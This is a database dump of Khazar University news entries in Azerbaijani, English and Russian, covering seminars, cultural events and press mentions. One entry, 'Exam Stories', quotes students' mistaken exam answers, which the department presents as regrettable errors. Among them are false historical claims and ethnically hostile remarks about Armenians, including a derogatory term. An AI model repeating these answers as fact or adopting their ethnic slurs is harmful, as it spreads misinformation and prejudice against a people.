yayınlanmışdır.</p><p>Xəbəri tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://azertag.az/xeber/BDU_nezdinde_Konfutsi_Institutu_mekteblilerle_birlikde_CHin_Yeni_iline_hesr_edilen_tedbir_kechirib-1129755\">https://azertag.az/xeber/BDU_nezdinde_Konfutsi_Institutu_mekteblilerle_birlikde_CHin_Yeni-iline_hesr_edilen_tedbir_kechirib-1129755</a>.</p>'),(5975,3414,'az','Fulbrayt təqaüdçüləri KİM-də','2018-ci il sentyabrın 12-də Amerikanın Şərqi Kentukki Universitetinin Fulbrayt təqaüdçüləri...','<p>2018-ci il sentyabrın 12-də Amerikanın Şərqi Kentukki Universitetinin Fulbrayt təqaüdçüləri Qaisar Sultana və Ron Smith Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzini ziyarət etdilər. Qonaqlar kitabxana fondu, yeni kitablar, Xəzər Universitetinin nəşrləri ilə tanış oldular.</p><p>Sonra kitabxana əməkdaşları ilə birgə təhsil və kitabxana mövzu&nbsp;və problemləri ətrafında müzakirələr apardılar.</p>'),(5972,3412,'en','III \"Mammad Araz poetry day\" held in Ismayilli district','The next event within III \"Mammad Araz poetry day\", which started in Gazakh district...','<p>The next event within III \"Mammad Araz poetry day\", which started in Gazakh district on April 20, 2018, took place in Ismayilli district on September 7.</p><p>Officials of the Executive Power of the district, education and cultural figures and pupils attended the event which was held on an organizational support of the Knowledge Foundation under the President of the Republic of Azerbaijan in the hall of a child library. Irada Tunjai, daughter of Mammad Araz and the editor-in-chief of \"Adalat\" newspaper, and Agil Abbas, a writer, also attended the literary-musical event which started with a recorded poem recited by People\'s Poet himself. Gardashkhan Azizkhanli, Project Manager and Instructor of Khazar University, who conducted the event, talked about the role of Mammad Araz in Azerbaijani literature. Agil Abbas, Sevil Ahmadova, Deputy-head of Executive Power, Murad Maharramov, an official of Executive Power, awarded pupils, winners and participants of \"Mammad Araz Poetry Competition\" with Diplomas and Certificates of Gratitude of the Knowledge Foundation under the President of the Republic of Azerbaijan.</p><p>In the artistic part of the event, Galib Gulaliyev, a singer, performed songs composed to the lyrics by the poet.</p>'),(4818,2852,'az','Yaradıcı tələbələrin hesabatı','Yanvarın 16-da Xəzər Universitetinin Mərmər salonunda Humanitar və sosial elmlər fakültəsinin dizayn ixtisası, Musiqi...','<p>Yanvarın 16-da Xəzər Universitetinin Mərmər salonunda Humanitar və sosial elmlər fakültəsinin dizayn ixtisası, Musiqi və incəsənət departamentinin xalçaçılıq, rəssamlıq, xor və vokal fənləri üzrə təhsil alan birinci kurs tələbələrinin birinci semestrin yekunlarına həsr olunmuş hesabatı keçirildi.</p><p>Tədbirdə universitetin rəhbərliyi və əməkdaşları, tələbələr və qonaqlar iştirak edirdilər.</p><p>Mərmər salonda dizayn ixtisası, xalçaçılıq və rəssamlıq fənləri üzrə təhsil alan tələbələrin əl işlərindən ibarət geniş sərgi nümayiş etdirilirdi. Dizayn müəllimi, xalçaçı rəssam Afaq Kərimova&nbsp;tələbələri iştirakçılara təqdim edir, tələbələr öz işləri haqqında məlumat verir, rəyləri dinləyir və fikir mübadiləsi aparırdılar.</p><p>Sonra universitetin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu, dosent Zülfiyyə Sadıqovanın bədii rəhbərliyi ilə xor və vokal fənləri üzrə təhsil alan tələbələrin çıxışları başlandı. Universitetin müəllimi, Müslüm Maqomayev adına Dövlət Akademik Filarmoniyasının solisti Məhsəti Cabbarovanın bədii rəhbəri və dirijoru olduğu xor kollektivi və solistlər – Təhsil fakültəsinin tələbələri Nərmin İbrahimova, Şəmsiyyə Cəfərova, Afeliya Qocayeva, Təranə Məmmədli və İqtisadiyyat və menecment fakültəsinin tələbəsi Nicat İsmayılov Azərbaycan xalq və bəstəkar mahnılarını, həmçinin, xarici ölkə bəstəkarlarının mahnılarını türk, rus və ingilis dillərində ifa etdilər.</p><p>Bəstəkar Vüqar Camalzadə, universitetin İngilis dili və ədəbiyyatı departamentinin baş müəllimi Firəngiz Nəsirova, universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, bəzi tövsiyələrini bildirməklə ümumilikdə tələbələrin yaradıcılığını müsbət qiymətləndirdilər.</p>'),(4819,2853,'az','Bəstəkarlar İttifaqında“Nasimi Passion” əsərinin lent yazısı nümayiş olunub','Yanvarın 17-də Azərbaycan Bəstəkarlar İttifaqında ötən il aprelin 7-də Hollandiyanın “Amsterdam Royal Concertgebouw” konsert...','<p>Yanvarın 17-də Azərbaycan Bəstəkarlar İttifaqında ötən il aprelin 7-də Hollandiyanın “Amsterdam Royal Concertgebouw” konsert sarayında ölkənin kral simfonik orkestrinin, xorunun və solistlərinin müşayiəti ilə görkəmli bəstəkar Firəngiz Əlizadənin təqdim olunan “Nasimi Passion” əsərinin lent yazısı nümayiş olunub.</p><p>Tədbirdə Milli Məclisin deputatları, mədəniyyət və incəsənət xadimləri, o cümlədən xarici səfirliklərin nümayəndələri iştirak ediblər.</p><p>F.Əlizadə çıxış edərək, seçdiyi mövzudan və Azərbaycanın böyük mütəfəkkiri İmadəddin Nəsimi yaradıcılığından danışıb. Dahi mütəfəkkirin Yaxın Şərq ədəbiyyatına gətirdiyi mütərəqqi ideyalar və fəlsəfi düşüncə tərzindən söz açıb.</p><p>Tədbirdə Xəzər Universitetinin təsisçisi, Direkoprlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və universitetin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu, dosent Zülfiyyə Sadıqova da iştirak etmişlər. H.İsaxanlı tədbirdə çıxış etmişdir.</p>'),(4850,2708,'en','Seminar on “Water balance of Khojasan Lake”','There was a seminar on “Water balance of Khojasan Lake”, December 6, 2017, organized by the Department of Geography and the Environment...','<p>There was a seminar on “Water balance of Khojasan Lake”, December 6, 2017, organized by the Department of Geography and the Environment of Khazar University. Sabit Zeyniyev from “Tamiz Shahar” OJSC; Rovshan Karimov, Mammad Abduyev, Elnur Safarov from National Academy of Sciences; Asif Verdiyev from the Ministry of Ecology and Natural Resources; Rashail Ismayilov and Vusal Poladov from “Azersu” OJSC; Tural Mammadov and Ramil Huseynov from SOCAR; Elvin Aliyev from “Caspian Geomatics”; and Vasif Yahyayev from National Hydrometeorology Department participated in the seminar.</p><p>At the seminar, Rovshan Abbasov, the Head of the Department of Geography and the Environment, answered the questions by participants.</p>'),(4851,2568,'en','Hamlet Isakhanli participated in an international seminar','International scientific seminar \"Archaeology of Gabala\" was held on Gabala on October 21-22, 2017. Prof. Hamlet Isakhanli...','<p>International scientific seminar \"Archaeology of Gabala\" was held on Gabala on October 21-22, 2017. Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Roza Arazova, Head of the Department of History and Archeology, Prof. Gudrat Ismayilov, Editor of “Azerbaijani archeology” journal published in Khazar University, and Naila Isayeva, the founder of “Dunya” school, participated in the seminar.</p><p>Prof. Gudrat Ismayilov delivered a special report. Prof. Hamlet Isakhanli delivered a speech and mentioned the changes in the world under the impact of archeology, development of Azerbaijani history and culture in XIX century, and underlined the importance of collaboration between science and business.</p>'),(4852,2586,'en','Khazar University in a ceremony dedicated to UN Day and 25th Anniversary of UN-Azerbaijan relations','UN Office in Azerbaijan organized a ceremony on October 24, 2017, to commemorate 72th anniversary...','<p>UN Office in Azerbaijan organized a ceremony on October 24, 2017, to commemorate 72<sup>th</sup> anniversary of UN (UN Day) and 25th Anniversary of UN-Azerbaijan relations.</p><p>The ceremony started with the national anthem of Azerbaijan. Mahsati Jabbarova, a teacher of Khazar University and the soloist of the State Academic Philharmonic named after Muslim Magomayev, performed the anthem. Mahsati Jabbarova was accompanied by Chamber orchestra of Khazar University.</p><p>Ghulam Isaczai, a Coordinator of UN Office in Azerbaijan and Office representative of UN Development Program, as well as Mahmud Mammadguliyev, Deputy Foreign Minister, delivered a speech in official part of the ceremony. A video message by UN Secretary General Antonio Guterres was played.</p><p>Baba Bayramli, Director of Centre of Affairs on Graduates of Khazar University, participated in the ceremony.</p><p>In the artistic part of the ceremony, Chamber orchestra of Khazar University and Mahsati Jabbarova performed a concert program consisting of pieces of music by Azerbaijani composers under guide by honored teacher, pianist, Associate Professor Zulfiyya Sadigova, Director of the Department of Music and Art.</p>'),(4853,2577,'en','Discussion of new plans of “Chinese corner” project','There was a discussion of new plans of “Chinese corner” project of Library-Information Centre of Khazar University on October...','<p>There was a discussion of new plans of “Chinese corner” project of Library-Information Centre of Khazar University on October 25, 2017. The Centre plans to carry out activities in upcoming months in order to promote Chinese culture and history. Li Ya, Chinese language teacher, Rima Mammadova, Project Coordinator of Khazar University, Aytaj Misgarli, Director of Library-Information Centre and Samira Orujova, Head of Cataloguing division, participated in the discussion.</p>'),(4854,2588,'en','The Azerbaijanis succeeded in the elections held in Georgia','More than 200 Azerbaijani candidates competed in local elections in Georgia on October...','<p>More than 200 Azerbaijani candidates competed in local elections in Georgia on October 21, 2017. 67 of the candidates won in the election. <strong><em>Minval.az</em></strong> news portal posted article on this issue.</p><p>A link for further information:</p><p><a href=\"http://minval.az/news/123732874\">http://minval.az/news/123732874</a>.<br></p>'),(4855,2569,'en','Next article by Vurghun Ayyub from \"Analysis of stories\" series','An article “Fakhri Ughurlu’s literary and eternal world” (based on story “The son of Maryam”) by Associate Professor Vurghun Ayyub...','<p>An article “Fakhri Ughurlu’s literary and eternal world” (based on story “The son of Maryam”) by Associate Professor Vurghun Ayyub, Head of the Department of the Azerbaijan Language and Literature, was posted in <strong><em>xeber365.com</em></strong> news website on October 24, 2017.</p><p>A link for full article:</p><p><a href=\"http://xeber365.com/haber-azadliq-asiql-rinin-silsil-si-ortada-qirilsa-da...---vurgun-yyub-yazir-16282.html\">http://xeber365.com/haber-azadliq-asiql-rinin-silsil-si-ortada-qirilsa-da...---vurgun-yyub-yazir-16282.html</a>.  <br></p>'),(4856,2601,'en','A seminar “Methods of coping with exam stress”','Considering upcoming exams Department of Psychology of Khazar University and Khazar Psychological Service Centre held a seminar...','<p>Considering upcoming exams Department of Psychology of Khazar University and Khazar Psychological Service Centre held a seminar, October 13, 2017, under headline “Methods of coping with exam stress”. Malak Karimova, Director of Khazar Psychological Service Centre, talked about how to cope with pre-exam, exam and post-exam stress. Malak Karimova mentioned that lack of discipline and lack of time management skill as well as dysfunctional thoughts on exams etc. are the factors that cause exam stress. Later the M.Karimova answered questions by participants. Students underlined that these kinds of seminars on the eve of exams are of great help for them since they need special methods to struggle stress. Khazar Psychological Service Centre plans to hold seminars and trainings to support students in terms of social, psychological and moral development.</p>'),(4857,2578,'en','Hamlet Isakhanli expressed his attitude on construction of campuses','Hafta.az news website posted an article, October 25, 2017, on an issue of allocating fund from state budget...','<p><strong><em>Hafta.az</em></strong> news website posted an article, October 25, 2017, on an issue of allocating fund from state budget of the next year for construction of campuses.</p><p>The website also introduces an attitude by Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>A link for full article:</p><p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=207780\">http://hafta.az/index2.php?m=yazi&amp;id=207780</a>.<br></p>'),(4858,2606,'en','Library-Information Centre made a presentation for the first course students of the Faculty of Engineering and Applied Sciences','Samira Orujova and Esmira Huseynova, staff members of Library-Information Centre, made presentations, “Rules for library users...','<p>Samira Orujova and Esmira Huseynova, staff members of Library-Information Centre, made presentations, “Rules for library users” and “How to use electronic resources of Library-Information Centre”, for the first course students of the Faculty of Engineering and Applied Sciences of Khazar University on October 31, 2017.</p>'),(4859,2554,'en','Topographist-artist met historian students','On October 23, 2017, topographer-artist Vafa Hasanova, a researcher of Institute of Archeology and Ethnography, participated...','<p>On October 23, 2017, topographer-artist Vafa Hasanova, a researcher of Institute of Archeology and Ethnography, participated in “Introduction to archeology” lesson of the Department of History on initiatives of the Department of History and Archeology of Khazar University. During the lessons students learnt necessary practical skills and knowledge needed for their future career. Students got information on topography of buildings, stratigraphy of archaeological excavations, and techniques for creating images of archaeological finds. Based on instruction of the expert students made images of clay pots.</p><p>The aim of the lesson was to educate students in applied archaeology and help them acquire necessary skills. The lesson was interesting for students in terms of being practical.</p>'),(4860,2573,'en','Birthday congratulations from prominent science and art figures','Vurghun Ayyub, Head of the Department of the Azerbaijan Language and Literature, turns into 60...','<p>Vurghun Ayyub, Head of the Department of the Azerbaijan Language and Literature, turns into 60. Prominent science, art and political figures of Azerbaijan congratulated him on his birthday. Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, also congratulated V.Ayyub.</p><p>A link for congratulation messages:</p>  <p><a href=\"http://xeber365.com/haber-vurgun-yyuba-sagliq---h-qiq-t-ucun-yanan-adam-16299.html\">http://xeber365.com/haber-vurgun-yyuba-sagliq---h-qiq-t-ucun-yanan-adam-16299.html</a></p><p><a href=\"http://www.xural.com/h%C9%99qiq%C9%99t-ucun-yanan-adam-vurgun-%C9%99yyub/\">http://www.xural.com/həqiqət-ucun-yanan-adam-vurgun-əyyub/</a></p>'),(4861,2854,'az','Xəzər Universitetinin məzunu “Kaspi”yə müsahibə verdi','2018-ci il yanvarın 19-da “Kaspi” qəzetinin rəsmi internet səhifəsində Xəzər Universiteti Humanitar və sosial elmlər fakültəsini jurnalistika...','<p>2018-ci il yanvarın 19-da “Kaspi” qəzetinin rəsmi internet səhifəsində Xəzər Universiteti Humanitar və sosial elmlər fakültəsini jurnalistika ixtisası üzrə bitirmiş, hazırda “Astara” qəzetinin baş redaktoru kimi faəliyyət göstərən Fəridə Ağazadə ilə müsahibə yayınlamışdır.</p><p>Müsahibəni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://kaspi.az/az/85-yasli-qezetin-25-yasli-bas-redaktoru\">http://kaspi.az/az/85-yasli-qezetin-25-yasli-bas-redaktoru</a>.</p>'),(5930,3392,'en','Registration of abiturients admitted to the vacant places of higher education institutions has started at Khazar University','Registration of abiturients admitted to the vacant...','<p>Registration of abiturients admitted to the vacant places of higher education institutions has started at Khazar University. Registration will last until September 3.</p>'),(4866,2857,'en','Exam Stories','Exam Stories','<div><img src=\"/files/history_depart/DSC_5487.JPG\" style=\"border:0px #000000;float:left;margin:7px;width:300px;height:238px\"><br></div><h3 style=\"text-align:center\"><p><strong>THE INTERESTING AND REGRETTABLE ANSWERS OF STUDENTS IN THE&nbsp;EXAMS</strong></p>\r\n<p style=\"text-align:justify\"><span style=\"font-weight:normal\">Each exam that holds in Khazar University remembered with\r\ninteresting situations and regrettable answers. The attitude of the students is\r\ndifferent to the open questions including final exam tests. Someone have learnt\r\nthe exam materials and could explain and write their\r\nown thoughts shortly and clearly, someone writes sentences not belonging to the\r\ntasks just to fill empty parts on the sheet and the thinks that “teacher will\r\nbe not reading all of materials anyway, will see that I have filled and will\r\ngive the best prices”. Some students look to the open questions and claim their\r\nown different fantasy. We are introducing the exam answers from final exam\r\ntests that is interesting, funny, but the more regrettable and had been\r\nexamined by the instructors of the department of Archeology and History.<img src=\"/files/history_depart/19390904_1623828094294256_8103428468142187402_o.jpg\" style=\"width:350px;height:233px;margin:7px;float:right\">&nbsp;</span></p></h3><p style=\"text-align:justify\"><strong mso-bidi-font-weight:normal\"\"=\"\">“Azərbaycan\r\ntarixi” fənni üzrə</strong><span style=\"text-align:justify\"></span></p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">1)Vandalizm- Van gölü hövzəsində indiki erməni əhalisinin\r\nyaratdığı mifologiya idi. Romada mövcud olan mifologiya sahəsində olan bir elm\r\nsahəsi idi.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">2)Proletariat (fəhlə sinifi)- geniş dünyagörüşlü ,\r\nfikri işıqlı, gələcəyi parlaq insanlardır.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">3)Proletariat- öz məqsədlərini gizlədən və bütün\r\ndünyanı aldadan və eyni zamanda təcavüzkarlıq edən xalqa deyilir. Buna misal\r\nerməni xalqıdır.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">4)Qazan xanın dini islahatında isə hamının özbaşına\r\nmolla adının qarşısını almaq istədi amma dini islahatı axıra qədər yerinə yetirə\r\nbilmədi.</p>\r\n<p>5)Fəhlə tətili-\r\niş görmürlər və istirahətə çıxırlar. Məsələn, qışda çoxda işləmək olmur havaya görə.</p>\r\n<p>6)Kapitalizm\r\n– hər şeyin pulla ölçüldüyü, pulu olana kişi deyildiyi bir quruluş</p>\r\n<p>7)Kolxoz – kəndlilərin\r\nbaşında duran, onlara nəzarət edən qurum</p>\r\n<p>8)Kapitalizm\r\n– bəzi iqtisadçıların və siyasətçilərin tarixi inkişafda ayırdığı\r\nictimai-iqtisadi informasiya</p>\r\n<p>9)Hitlerin əsas\r\nməqsədi Bakını işğal etmək idi. Hətta Hitler ad günündə onun üçün SSRİ-nin xəritəsi\r\nformasında tort hazırlanmışdır, məhz tortun Bakı hissəsini kəsib yemişdir. </p>\r\n<p>10)1920-ci\r\nildə Almaniyanın Azərbaycana hücumu nəticəsində Sovet hakimiyyəti qurulmuşdur.</p>\r\n<p><a><em>Rus dilli\r\ntələbələrin yazıları</em></a></p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">1)Рабочий класс- это люди, рабочие, которые работают из-за зарплаты.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">2)Национализация- это означает, что все должны говорить на\r\nязыке, на котором говорит власть, и живут на одной територии.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">3)Кулаки, кулачество- это бой или сражение, которое\r\nпроисходит с помощью кулаков или человек кого- то избивает.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">4)Забастовка- это когда кристиане недовальны\r\n(Примечание: подразумевается крестьне)</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">5)Рабочие- это которые трудятся на заводах, на фермах\r\nдля народа.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">6)Буржуазия- это новые поколения и люди, которые приносили\r\nэтому народу новые мысли, эти люди были богатыми людьми.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">7)В январе 1990 г в Баку было введено случайное\r\nположение (подразумевается чрезвычайное).</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">8)В 1918-20 гг было создано 5 коммун (имеется ввиду\r\n5 кабинетов) Этит коммуны были придательской (то есть предательской),\r\nони хотели чтобы передать власть Саветскому режиму (Советскому режиму).</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">9)На территории Азербайджана проживают многие этнические\r\nменьшинства как лезгины, талыши, авары, <strong>Еразы</strong>\r\nи т.д.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">10)В Азербайджане политические партии: Yap,\r\nMüsavat, Muxalifət.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">11)Политическая эмиграция- это переезд или переселение из\r\nсвоей страны в другую для получения блага во имя своей страны. Пример:\r\nРасулзаде переехал в Турцию и вёл свои дела в блага Азербайджана там.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">12)Откупная система- это означает что все земли\r\nнедвижимость, которая была у богатых людей и отбиряется у них и передается\r\nвласть или акции на нефть, никто не может купить эти акци, все передается\r\nвласти. Откупная система это означает то, что все могут купить то, что они\r\nзахотят.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">13)9 мая- День победы. Это день победы над Фашизмом. В этот\r\nдень фашизские войска отодвинулись назад. Мы одержали победу.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">14)Подтверждающим\r\nдокументом АДР была делегация (имеется ввиду-Декларация) о независимости.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">15)Азербайджан расположен вокруг Каспийского моря.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">16)Азербайджан расположен в восточной части Закавказье, в\r\nПередней Азии и на Ближнем Востоке.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">17)Агуэнский собор- церковный собор в 488 г сделал Стробон III (имеется в виду\r\nВачаган III) и сделал 21 правила.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">18)Азербайджанское правительсво отправило делегацию на\r\nПарижскую конференцию, чтобы получить дефекта.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">19)Выдающиеся\r\nазербайджанские поэты 18 века – Физули, Низами, Сабир. </p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">20)Коллективизация – это обьединение народов в единую нацию\r\n(советскую)</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">21)В 1920 г стало образовываться СССР. В его состав вошли\r\nАзербайджан, Грузия, Россия, Польша, Бельгия, Армения</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">22)В 1920 г образовался СССР. Туда вошли страны СНГ</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">23)Тоталитаризм – одно из ругательных терминов в современной\r\nполитологии. Также это один из неопределенных терминов.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">24)СССР образовался в 1920 г., в его состав вошли 15\r\nреспублик, среди них Азербайджан, Грузия, Литва, Чехославакия, Армения,\r\nКазахстан, Туркменистан, Эстония, Узбекистан.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">25)Дипортация (Депортация) – когда лица одного государства\r\nбывают высланы в другое государство из-за политических разногласий. Каприлир\r\nпосле ходжичиской троидии все усли депортированы в 20 веки, а так же\r\nАзербайджанцы были депорчированы из Армиани.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">26)Государству Атабеков положили конец Эльдегизиды. </p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">27)В первобытнообщинном строе люди жили стаяти.</p>\r\n<p><strong><em style=\"\" mso-bidi-font-style:normal\"\"=\"\">“Sivilizasiya\r\ntarixi” fənni üzrə</em></strong></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-align:justify;text-indent:-18.0pt;line-height:normal\"=\"\">1)Qədim romalılar qanunların qəbulu üçün hamamda toplaşırdılar.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-align:justify;text-indent:-18.0pt;line-height:normal\"=\"\">2)Qədim Yunanıstanda demosa (xalq) dövlət tərəfindən ipoteka verilirdi.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-align:justify;text-indent:-18.0pt;line-height:normal\"=\"\">3)Varna (kasta) – 5 koloniya var idi. Onlardan biri də varna idi. Bu\r\nkoloniya bölgüsü Hindistanda yaranmışdı.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">4)Çao- Çində pul növünə deyilir. Print edilmiş ilk pul.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">5)Terra inkoqnita- “terra” termus sözündən götürülüb və hamam mənasında\r\nişlənir. Şahlar, imperatorlar orada çox vaxt həm dincəlir həm də danışırdılar.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">6)Pirr qələbəsi tarixə “məğlubiyyətə bərabər qələbə” adı ilə düşüb.\r\nMüasir dövrdə məsələn, imtahana girirsən və 60 balla keçirsən imtahanı. Bu tələbə\r\nüçün “məğlubiyyətə bərabər qələbə” olur.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">7)Mesenat- görkəmli yazıçı həm də xeyirxah qadın kimi tanınmışdır.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">8)Qazlar Romanı xilas etdi. Romaya hücum edən Qall tayfaları qəfildən\r\ngözlənilməz hadisə ilə rastlaşırlar, onlar qazların göyə qalxıb Romaya tərəf\r\nuçduğunu gördülər. Romalılar qazların gəlişindən hadisəni başa düşdü və bunun\r\nadı “Qazlar Romanı xilas etdi” olaraq qaldı.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">9)Axilles dabanı. Bu ifadə qədim bir rəvayətlə bağlıdır. Daldan atılan\r\ndaş topuğa dəyər və s. Axilles dabanı çox yekə olub. Ayaq qoyduğu yerdə iz\r\nsaxladığına görə adı Axilles dabanı adlanır.</p>\r\n<p><em style=\"\" mso-bidi-font-style:normal\"\"=\"\">Rus\r\ndilli tələbələrin yazıları</em></p>\r\n<p style=\"\" margin-left:2.0cm;text-align:justify;text-indent:-21.25pt\"=\"\">1)Ахиллесова пята – Ахилесс оставил за собой следы. </p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>'),(4862,2855,'az','“Azərbaycan müəllimi” qəzeti Xəzər Universiteti əməkdaşından yazdı','2018-ci il yanvarın 19-da “Azərbaycan müəllimi” qəzetinin “Dövlət Proqramı təqaüdçüləri harada işləyir?” adlı...','<p>2018-ci il yanvarın 19-da “Azərbaycan müəllimi” qəzetinin “Dövlət Proqramı təqaüdçüləri harada işləyir?” adlı layihəsi çərçivəsində məqalə dərc edilmişdir. Məqalədə Dövlət Proqramı çərçivəsində İtaliyanın La Sapienza Universitetində təhsil almış və hazırda Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin müəllimi və koordinatoru kimi fəaliyyət göstərən Elmar Mustafayevin bərəsində də məlumat verilmişdir.</p><p>Qeyd edək ki, məqalə “2007-2015-ci illərdə Azərbaycan gənclərinin xarici ölkələrdə təhsili üzrə Dövlət Proqramı” xətti ilə təhsil alaraq elm, təhsil, iqtisadiyyat, sənaye, bank, İKT, dövlət qulluğu və digər sahələrdə öz uğurlu karyera tarixçələrini yazan məzunlara həsr olunur.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2018&amp;content_id=03\">http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2018&amp;content_id=03</a>.</p>'),(4871,2466,'en','An article by staff member of Khazar University was published in Lankaran','An article “Art as a means of psychological influence” by Malak Karimova, Assistant of Dean of the School...','<p>An article “Art as a means of psychological influence” by Malak Karimova (PhD), Assistant of Dean of the School of Humanities and Social Sciences of Khazar University, was published in the first volume, 2017, of Humanities series of “Scientific news” journal of Lankaran State University, which is included in Periodic Scientific Publications of the Higher Attestation Commission under the President of the Republic of Azerbaijan. The article deals with various issues such as why we need music and what are the impacts of music on people. Moreover, the author mentions relevant researches and makes suggestions.</p><p>A link for <a href=\"http://www.khazar.org/files/letters/Melek_Kerimova.PDF\">PDF</a>   format of the article.</p>'),(4872,2415,'en','Hamlet Isakhanli expressed his condolences to the Mexican people','Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, send a letter to Rodrigo Labardi...','<p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, send a letter to Rodrigo Labardi, Ambassador Extraordinary and Plenipotentiary of Mexico to Azerbaijan, on September 11, 2017. In the letter, on behalf of the university, Prof. Hamlet Isakhanli expressed condolences on human casualties and debris as a result of the earthquake happened in Mexico on September 7.</p>'),(4873,2524,'en','“Poetry day” dedicated to Mammad Araz’s memory','“Mammad Araz Poetry Day” was held on October 14, 2017, in National Museum of Azerbaijan History on initiative by Gardashkhan Azizkhanli...','<p>“Mammad Araz Poetry Day” was held on October 14, 2017, in National Museum of Azerbaijan History on initiative by Gardashkhan Azizkhanli, a lecturer of Khazar University, and organizational support of the Knowledge Foundation under the President of the Republic of Azerbaijan and the Union of Azerbaijani Writers.</p><p>First, “Mother land” poem of the poet was played in his own recitation.</p><p>Then the author of the idea Gardashkhan Azizkhanli, parliamentary Agil Abbas, Haji Narimanov, Head of sector of the Knowledge Foundation, Rashad Majid, Secretary of the Union of Azerbaijani Writers, daughter of the poet Irada Tunjay, editor-in-chief of “Adalat” newspaper, and other participants talked about life and great poetic heritage of the poet.</p><p>Then pupils recited poems from the poet. Pieces of music performed by Honored artist Yagub Zurufju and vocalist Ilham Asgarov, which were composed for the poems by Mammad Araz, were played. The audience applauded loudly the poem “Stand up, Azerbaijan” which was recited by Shirzad Pirallahi, an actor of Moscow State Theatre, accompanied by melody of \"Koroglu\" overture. Gunel Ismayilova, a staff member of the Department of the Azerbaijan Language and Literature of Khazar University, also participated in the ceremony.</p>'),(4874,2423,'en','An article by a staff member of Khazar University was published in Turkey','An article “Personality traits of artists” by Malak Karimova, Vice-dean of the School of Humanities and Social Sciences, and Director...','<p>An article “Personality traits of artists” by Malak Karimova (PhD), Vice-dean of the School of Humanities and Social Sciences, and Director of Khazar Psychological Service Centre, was published in “Journal of Awareness” International 